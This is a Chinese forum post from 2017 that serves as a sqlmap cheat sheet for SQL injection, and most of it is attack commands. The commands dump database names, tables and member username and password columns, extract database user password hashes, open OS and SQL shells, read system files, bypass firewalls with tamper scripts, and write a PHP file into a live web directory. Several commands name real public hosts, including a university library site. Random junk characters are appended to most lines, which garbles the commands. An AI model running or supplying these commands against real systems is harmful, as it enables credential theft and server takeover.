找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1849|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/pentest/database/sqlmap$ L; S6 q8 T- l; ~3 S9 x

) ^: H. A- l  @8 f# Dupdate :::::>     in the folder   after  execute    following   order : svn update
; C. p4 L& ]3 v. |5 R% L/ O2 R
3 N6 g4 h7 f6 n, w! S; wsqlmap.py -r 1.txt --current-db) i$ ~) g1 `! X  x

) M- A7 }1 f6 `+ V! ~% }& R& jv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”2 }; z/ Z# ]4 r9 T+ q3 c4 T
) D9 X6 q, |# ?* v  {! v
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
3 a& ~* @" L0 u8 ]1 K猜解数据库
' O& ^! g% f. L  w3 i./sqlmap.py -u "injection-url" --dbs
9 [$ j5 s6 Y+ \$ }6 \sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
* |  E! f: o( P; V4 X# q' f: l) d9 E/ U3 p/ J7 J& J
猜解表名
9 `& {7 v5 j4 \9 U" f./sqlmap.py -u "injection-url" -D database_name --tables; w1 F7 ^4 R! L9 N4 u) f3 g" [  W

2 K) v3 ~5 `, b7 R, D. S8 Gsqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"4 S7 z/ Q! Q* H0 A! ^4 I* `
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
, u5 q* P/ P* ?5 X1 M# J! A- x  |) z( S. |
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
! E6 h, P9 k1 P" \
  j" K* o9 C0 Y8 g2 b7 N  W; d8 Xsqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py": y) Q, O# o( ^/ j
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py", \0 t+ e2 n+ K7 s1 N
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" 9 }$ x* t) P8 B
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
1 Z* F$ m- g* {/ V: ?- F: i" ^: d" {/ K* D4 L
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"$ O9 [' ]/ X0 ^6 l  L' r( [
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
7 x8 f2 V/ K% h: y+ v* x0 Ssqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"" J$ [! }  u# k$ z9 U9 w
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"! g8 }0 e  _# f$ Z, A* M
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
* |( ]7 o* `; e! \  e' h" x7 Q3 C; F  m  s$ P8 y$ J' Y
sqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了
- x% Y( D! s) t0 ]" z& v, ~sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
" K- ~' y6 A3 y# P! F: Q5 k6 j8 U& k' k1 n5 g( K6 P
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"2 B8 j) r' O) U, U: n7 t5 h
猜解列名
( [" i& B6 h% B: {) E5 K./sqlmap.py -u "injection-url" -D database_name -T table_name --columns; @. P8 V$ F. z5 G: u- _
9 K1 h. H( w# h$ P. W+ L# L8 M! h; g, v* ?
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" / _2 W  c0 V6 ]
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" ! x" i5 ~& v3 @9 A9 `/ T  {
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
( r0 E  w6 ]" C. d. p' p5 A; S( E* `7 q4 L
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
* d& e( ]: J2 z' m&submit=Go' N+ ]* j/ \0 |
猜解值
! F0 h  ~; u& Y4 V5 P2 ]0 z./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
4 @4 U* A3 @% m' O========================================================6 G# s+ G4 `' N" o3 T) J# o
搜索表名中包括mana字符的
8 B9 T1 S# s9 L' p" w/sqlmap.py -u "injection-url" -T mana --search
6 J& |& b) T/ L  M9 ?! b& _5 ]返回一个交互式sql shell
9 n; _4 W, l; a% u$ {9 j3 w/sqlmap.py -u "injection-url" --sql-shell
: w$ o1 }  `* F$ f; P. I* ~7 o读取指定文件(需权限)
  F( Y  ?- q. R3 M' ~& r/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"2 g; H4 I! t! g# W/ J) x
查看当前 用户 及 数据库 & z% ~. ^% E, o; j" `% @- R
/sqlmap.py -u "injection-url" --current-user --current-db
% W+ a) [+ P& z1 Y; E- O& T) p本地文件 写入 远程目标绝对路径9 D% y8 m' x0 }
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径  f7 q9 C$ |& ]4 V  }
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" 3 z: ~/ T7 Q1 A' ?1 N: H
/ ?* e4 k; ^! L* p6 s5 o
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
. d. l; v7 G6 X2 U4 i+ W; Q8 s" M% o查看某用的权限
& a8 u2 C! l" q9 m/sqlmap.py -u "injection-url" --privileges -U root' D. v& R& D& M' }
查看当前用户是否为dba+ v6 a1 H+ v! Z8 ]% f; w
/sqlmap.py -u "injection-url" --is-dba9 b" W$ |5 [$ l/ P
读取所有数据库用户或指定数据库用户的密码
$ t+ U; S( D/ `3 ]8 |sqlmap.py -r 1.txt --users --passwords! v6 B6 _3 _0 V0 V
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
# l+ Z9 w8 K  F3 {
1 Y, ^- v. ^8 d# |. {' n7 q/sqlmap.py -u "injection-url" --passwords -U root
) ^( Y: V, j- G2 @. @  \
/ ^9 _: b$ H% f* _4 w3 v/ l--start&&--stop 与 --first&&--last 的区别3 u9 i6 V2 u5 k$ Y9 {+ `
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
1 Q; a7 J; M- O' G+ |* g( D. Q1 y  ~( X8 @
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)) Y  b/ F2 {# ]* m5 X) u
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables! N7 g3 X+ T9 [
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns! ?% B7 C: A/ B/ g$ A: T
4 j* y# O9 q  J7 }: h! Z) o: T+ D
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
1 U3 O  A% [5 L; w/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"; ~' I3 z! Q0 \" d

# X& V+ F0 K. P$ G' b# Z( d+ {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表